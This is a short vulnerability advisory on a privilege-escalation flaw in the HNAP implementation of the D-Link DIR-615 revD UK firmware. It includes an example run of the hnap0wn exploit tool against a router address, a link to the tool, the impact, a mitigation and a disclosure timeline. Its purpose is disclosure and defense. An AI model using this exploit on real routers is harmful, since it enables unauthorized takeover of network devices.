D-Link DIR-615 revD HNAP Vulnerability

Craig Heffner
www.devttys0.com

Vulnerability Summary

The UK firmware for the DIR-615 revD router employs a vulnerable implementation of the Home Network Administration Protocol. This allows the router's often-ignored unprivileged user account to perform administrative actions, such as changing the administrator password.

Affected Products

The vulnerability has been confirmed in the DIR-615 revD UK firmware version 4.11 [1].

Exploitation

This vulnerability can be exploited using the hnap0wn tool [2]:

```
$ ./hnap0wn 192.168.0.1 xml/SetDeviceSettings.xml

Trying SOAPAction header exploit...

SOAPAction header exploit failed! Trying privilege escalation exploit...

<?xml version='1.0' encoding='utf-8'?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <SetDeviceSettingsResponse xmlns="http://purenetworks.com/HNAP1/">
      <SetDeviceSettingsResult>REBOOT</SetDeviceSettingsResult>
    </SetDeviceSettingsResponse>
  </soap:Body>
</soap:Envelope>
```

Vulnerability Impact

If the user account has a default or weak password, anyone on the router's LAN can take control of the router.

Mitigations

Setting a strong password for the user account will mitigate this issue.

Release History

09-Jan-2010	Original HNAP advisory [3]
15-Jan-2010	Vendor claims only DIR-615 revision B is affected [4]
01-Dec-2010	DIR-615 revision D vulnerability discovered
03-Dec-2010	DIR-615 revision D vulnerability released

References

[1] http://www.dlink.co.uk/

[2] http://www.sourcesec.com/Lab/hnap0wn.tar.gz

[3] http://www.sourcesec.com/Lab/dlink_hnap_captcha.pdf

[4] http://secunia.com/advisories/38092/